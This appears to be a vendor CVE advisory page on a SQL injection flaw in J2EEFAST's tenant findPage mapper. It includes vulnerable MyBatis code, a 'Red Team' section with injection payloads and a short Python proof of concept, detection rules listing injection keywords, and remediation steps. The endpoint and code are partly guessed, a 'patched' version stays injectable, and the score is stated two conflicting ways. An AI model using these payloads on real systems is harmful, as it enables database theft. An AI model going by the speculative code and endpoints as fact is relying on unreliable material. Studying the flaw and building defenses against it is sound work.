☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-35091

CVE-2024-35091 SQL Injection in J2eefast
📅 PUBLISHED: 2024-05-23 17:04 UTC 🔄 UPDATED: 2026-10-15 23:32 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.42%
👁️
0.42% probability
10.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-35091 is a critical SQL injection vulnerability discovered in J2EEFAST v2.7.0, specifically within the findPage function in SysTenantMapper.xml. This flaw allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and lateral movement within the application. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is rated critical. No public exploit code or patch is currently available, making this a high-priority zero-day for organizations using J2EEFAST.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

J2EEFAST is a Java-based rapid development framework. The vulnerability exists in the MyBatis mapper XML file, which is part of the application’s core persistence layer. Since no patch is available, organizations must treat this as a supply chain risk and consider temporary mitigations.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and successful exploitation can lead to complete compromise of the database and application.

Deep Dive & Mechanics

The vulnerability resides in the SysTenantMapper.xml file, which defines MyBatis SQL mappings for tenant-related operations. The findPage function is used for paginated queries and likely concatenates user-supplied input directly into SQL statements without proper parameterization or sanitization.

Root Cause: The findPage function uses string concatenation or $ (dollar sign) substitution in MyBatis, which allows direct injection of SQL fragments. For example, a parameter like orderBy or searchValue may be passed unsanitized.

Attack Vector: An attacker can send a crafted HTTP request to the endpoint that triggers findPage, injecting SQL commands via parameters such as page, limit, or custom search fields.

Impact: Successful exploitation can lead to:

  • Unauthorized data access (all tenant data)
  • Data modification or deletion
  • Potential privilege escalation
  • Lateral movement to other database resources

Vulnerable vs. Patched Code

Vulnerable Code (v2.7.0 - SysTenantMapper.xml):

<select id="findPage" resultType="com.j2eefast.system.domain.SysTenantEntity">
    SELECT * FROM sys_tenant
    WHERE 1=1
    <if test="params.searchValue != null and params.searchValue != ''">
        AND (tenant_name LIKE '%${params.searchValue}%' OR tenant_code LIKE '%${params.searchValue}%')
    </if>
    ORDER BY ${params.orderBy} ${params.orderDir}
</select>

Note: The use of ${} (string substitution) allows SQL injection.

Patched Code (Hypothetical):

<select id="findPage" resultType="com.j2eefast.system.domain.SysTenantEntity">
    SELECT * FROM sys_tenant
    WHERE 1=1
    <if test="params.searchValue != null and params.searchValue != ''">
        AND (tenant_name LIKE CONCAT('%', #{params.searchValue}, '%') OR tenant_code LIKE CONCAT('%', #{params.searchValue}, '%'))
    </if>
    ORDER BY ${params.orderBy} ${params.orderDir}
</select>

Note: The #{} syntax uses prepared statements for the search value, but orderBy and orderDir remain vulnerable if not whitelisted.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • J2EEFAST v2.7.0 running with default configuration
  • Network access to the application

Exploitation Steps:

  1. Identify the vulnerable endpoint (e.g., /system/tenant/list or similar).
  2. Craft a malicious request with SQL injection in the searchValue parameter:
    GET /system/tenant/list?page=1&limit=10&searchValue=' OR 1=1-- HTTP/1.1
    Host: target.com
    
  3. Use SQL injection to extract data:
    ' UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM information_schema.tables--
    
  4. For time-based blind injection:
    ' OR IF(1=1, SLEEP(5), 0)--
    

Proof-of-Concept (Python):

import requests

target = "http://target.com/system/tenant/list"
payload = "' OR 1=1--"
params = {"page": "1", "limit": "10", "searchValue": payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Detection & Defense)

Detection:

  • Monitor for SQL injection patterns in HTTP parameters (e.g., ' OR, UNION, SLEEP).
  • Use WAF rules to block suspicious SQL keywords.
  • Enable database query logging and alert on anomalous queries.

Defense:

  • Apply input validation and parameterized queries immediately.
  • Restrict database user permissions to least privilege.
  • Deploy a Web Application Firewall (WAF) with SQL injection signatures.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests containing SQL injection patterns in parameters (e.g., searchValue, orderBy, orderDir).
    • Unusual database query patterns (e.g., UNION SELECT, INFORMATION_SCHEMA).
  • File IOCs:
    • Modified SysTenantMapper.xml with suspicious SQL fragments.
  • Log IOCs:
    • Database error logs showing SQL syntax errors.
    • Application logs with unexpected query parameters.

Detection Engineering

YARA Rule

rule CVE_2024_35091_SQLi_J2EEFAST {
    meta:
        description = "Detects SQL injection attempts targeting J2EEFAST SysTenantMapper findPage"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-35091"
    strings:
        $sqli1 = /searchValue=.*['\"]\s*(OR|AND|UNION|SELECT|SLEEP|BENCHMARK)/i
        $sqli2 = /orderBy=.*['\"]\s*(OR|AND|UNION|SELECT)/i
        $sqli3 = /orderDir=.*['\"]\s*(OR|AND|UNION|SELECT)/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against J2EEFAST SysTenantMapper
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection patterns in HTTP requests to J2EEFAST tenant endpoints
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/system/tenant/list'
            - '/system/tenant/page'
        cs-uri-query|re:
            - 'searchValue=.*['\''\"]\s*(OR|AND|UNION|SELECT|SLEEP|BENCHMARK)'
            - 'orderBy=.*['\''\"]\s*(OR|AND|UNION|SELECT)'
            - 'orderDir=.*['\''\"]\s*(OR|AND|UNION|SELECT)'
    condition: selection
falsepositives:
    - Legitimate use of special characters in search queries (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-35091 SQL Injection Attempt Against J2EEFAST SysTenantMapper";
    flow:to_server,established;
    content:"/system/tenant/list"; http_uri;
    pcre:"/(searchValue|orderBy|orderDir)=.*['\''\"]\s*(OR|AND|UNION|SELECT|SLEEP|BENCHMARK)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable endpoint if not critical for business operations.
  2. Apply input validation for all parameters passed to findPage (whitelist allowed values for orderBy and orderDir).
  3. Use parameterized queries (#{} in MyBatis) for all user-supplied data.
  4. Deploy a WAF with SQL injection rules.

Long-term Fix:

  • Upgrade to a patched version once available.
  • Conduct a full code review of all MyBatis mapper files for similar injection points.
  • Implement static analysis tools (e.g., SonarQube) to detect SQL injection patterns.

Workaround:

  • Modify SysTenantMapper.xml to use #{} for search values and whitelist orderBy/orderDir values.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-35091/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.